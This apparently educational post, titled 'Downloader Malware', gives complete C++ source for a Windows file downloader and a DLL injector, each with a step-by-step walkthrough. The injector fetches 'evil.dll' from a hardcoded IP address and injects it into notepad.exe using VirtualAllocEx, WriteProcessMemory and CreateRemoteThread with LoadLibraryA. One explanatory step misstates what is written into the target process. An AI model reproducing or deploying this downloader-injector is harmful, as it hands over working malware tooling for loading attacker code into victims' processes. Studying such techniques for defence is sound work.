Downloader Malware

download.h

```
C++ Code
#include &lt;windows.h&gt;
#include &lt;iostream&gt;
#include &lt;string.h&gt;
#include &lt;wininet.h&gt;

#pragma comment (lib, "wininet.lib")

using namespace std;

bool downloadFile(const string&amp;amp; url, const string&amp;amp; filepath) {
    HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hSession) {
        return false;
    }

    HINTERNET hHttpFile = InternetOpenUrl(hSession, (LPCSTR)url.c_str(), 0, 0, 0, 0);
    if (!hHttpFile) {
        InternetCloseHandle(hSession);
        return false;
    }

    HANDLE hFile = CreateFile(filepath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        InternetCloseHandle(hHttpFile);
        InternetCloseHandle(hSession);
        return false;
    }

    DWORD dwBytesRead;
    DWORD dwBytesWritten;
    const DWORD BUFFER_SIZE = 4096;
    char buffer[BUFFER_SIZE];
    bool success = true;

    while (InternetReadFile(hHttpFile, buffer, BUFFER_SIZE, &amp;amp;dwBytesRead) &amp;amp;&amp;amp; dwBytesRead != 0) {
        if (!WriteFile(hFile, buffer, dwBytesRead, &amp;amp;dwBytesWritten, NULL) || dwBytesRead != dwBytesWritten) {
            success = false;
            break;
        }
    }

    CloseHandle(hFile);
    InternetCloseHandle(hHttpFile);
    InternetCloseHandle(hSession);

    return success;
}
```

This code defines a C++ function called `downloadFile` that is responsible for downloading a file from a given URL (Uniform Resource Locator) and saving it to a local file on the system. This function utilizes the Windows Internet Functions provided by the `wininet.lib` library to facilitate the download process. Here's a step-by-step explanation of how this code works:

1. **Header Includes**: The code includes several header files:
   - `<windows.h>`: Provides access to Windows API functions and data types.
   - `<iostream>`: Provides input and output stream operations.
   - `<string.h>`: Allows manipulation of C-style strings (char arrays).
   - `<wininet.h>`: Contains declarations for Windows Internet Functions.
2. **Linking with wininet.lib**: The `#pragma comment (lib, "wininet.lib")` directive instructs the linker to include the `wininet.lib` library when building the program. This library contains the necessary functions for internet operations.
3. **`downloadFile` Function**: This is the main function defined in the code. It takes two parameters:
   - `url` (const string&): The URL of the file to be downloaded.
   - `filepath` (const string&): The local file path where the downloaded file will be saved.
4. **Creating an Internet Session (hSession)**: The code starts by creating an internet session using the `InternetOpen` function. The session is opened with the user agent string "Mozilla/5.0" and the flag `INTERNET_OPEN_TYPE_DIRECT`. If the session creation fails, the function returns `false`.
5. **Opening the URL (hHttpFile)**: It then opens the URL specified in the `url` parameter using the `InternetOpenUrl` function. If this operation fails, the previously opened internet session is closed (`InternetCloseHandle(hSession)`) before returning `false`.
6. **Creating a Local File (hFile)**: Next, the function creates a local file at the path specified in the `filepath` parameter using the `CreateFile` function. The file is created for writing (`GENERIC_WRITE`) and is opened with `CREATE_ALWAYS`, which means that if the file already exists, it will be overwritten. If the file creation fails, it closes both the internet file handle and the internet session before returning `false`.
7. **Downloading and Writing the File**: The code then enters a loop to read data from the internet file and write it to the local file in chunks. It uses a buffer (`buffer`) to read data from the internet file in chunks of `BUFFER_SIZE` (4096 bytes by default). It continues reading and writing until there is no more data to read from the internet file.
   - `InternetReadFile` is used to read data from the internet file into the `buffer`.
   - `WriteFile` is used to write data from the `buffer` into the local file.

If any error occurs during this process, or if the number of bytes read does not match the number of bytes written, the `success` flag is set to `false`, and the loop is terminated.

8. **Closing Handles and Returning Result**: Finally, after the download is complete (or in case of an error), the function closes all the handles:
   - `CloseHandle(hFile)`: Closes the local file handle.
   - `InternetCloseHandle(hHttpFile)`: Closes the internet file handle.
   - `InternetCloseHandle(hSession)`: Closes the internet session handle.
9. **Return Value**: The function returns `true` if the download and file write were successful, and `false` otherwise.

This `downloadFile` function is a utility function commonly used in programs that need to fetch files from the internet and save them locally, such as updaters, installers, or file downloaders.

Downloader and Injector

```
C++ Code
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;windows.h&gt;
#include &lt;tlhelp32.h&gt;
#include &lt;wininet.h&gt;
#include "download.h"

#pragma comment (lib, "wininet.lib")

int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnap, &amp;amp;pe32) != FALSE) {
        while (pid == 0 &amp;amp;&amp;amp; Process32Next(hSnap, &amp;amp;pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0;
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer
  bool success = false;
  const char evilDLL[] = "C:\\Users\\s12\\evil.dll";

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
  success = downloadFile("http://192.168.1.119/evil.dll", evilDLL);
  if (!success) {
    printf("Failed to download evil.dll");
    return 1;
  }
  pid = getPIDbyProcName("notepad.exe");

  int evilLen = strlen(evilDLL);

  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);
  return 0;
}
```

This code appears to be a Windows program written in C/C++ that demonstrates a technique called DLL injection. DLL injection is a method used to load a dynamic-link library (DLL) into the address space of a running process. In this case, the code is injecting a custom DLL called "evil.dll" into a target process, which is "notepad.exe" in this example.

Here's a step-by-step explanation of the code:

1. **Header Files**: The code includes several header files, including `<stdio.h>`, `<stdlib.h>`, `<string.h>`, `<windows.h>`, `<tlhelp32.h>`, `<wininet.h>`, and "download.h."
2. **`getPIDbyProcName` Function**: This function is used to retrieve the Process ID (PID) of a running process based on its name (e.g., "notepad.exe"). It uses the Windows ToolHelp32 API to iterate through running processes and find the matching one.
3. **`main` Function**: This is the main entry point of the program.a. **Variable Declarations**: – `pid`: Stores the PID of the target process. – `ph`: A handle to the target process. – `rt`: A handle to the remote thread. – `rb`: A pointer to the remote buffer in the target process. – `success`: A boolean variable to track the success of various operations. – `evilDLL`: The path to the custom DLL ("evil.dll") that will be injected.b. **Loading Kernel32**: It obtains a handle to the `Kernel32.dll` library, which is required for calling `LoadLibraryA`.
c. **Downloading "evil.dll"**: It attempts to download the "evil.dll" file from a remote location using the `downloadFile` function. If the download fails, it prints an error message and exits.

d. **Getting Target Process PID**: It retrieves the PID of the target process, in this case, "notepad.exe," using the `getPIDbyProcName` function.

e. **Allocating Remote Memory**: It allocates memory in the target process's address space using `VirtualAllocEx`. The memory is reserved and committed with `MEM_RESERVE` and `MEM_COMMIT` flags, and it's marked as executable and readable using `PAGE_EXECUTE_READWRITE`.

f. **Copying "evil.dll"**: It writes the contents of the "evil.dll" file into the allocated remote buffer within the target process using `WriteProcessMemory`.

g. **Creating a Remote Thread**: It creates a remote thread in the target process using `CreateRemoteThread`. This thread starts execution at the address of `LoadLibraryA` (obtained earlier), and the `rb` (remote buffer) parameter points to the path of "evil.dll" within the target process's memory.

h. **Closing Handles**: Finally, it closes the handle to the target process and returns 0, effectively ending the program.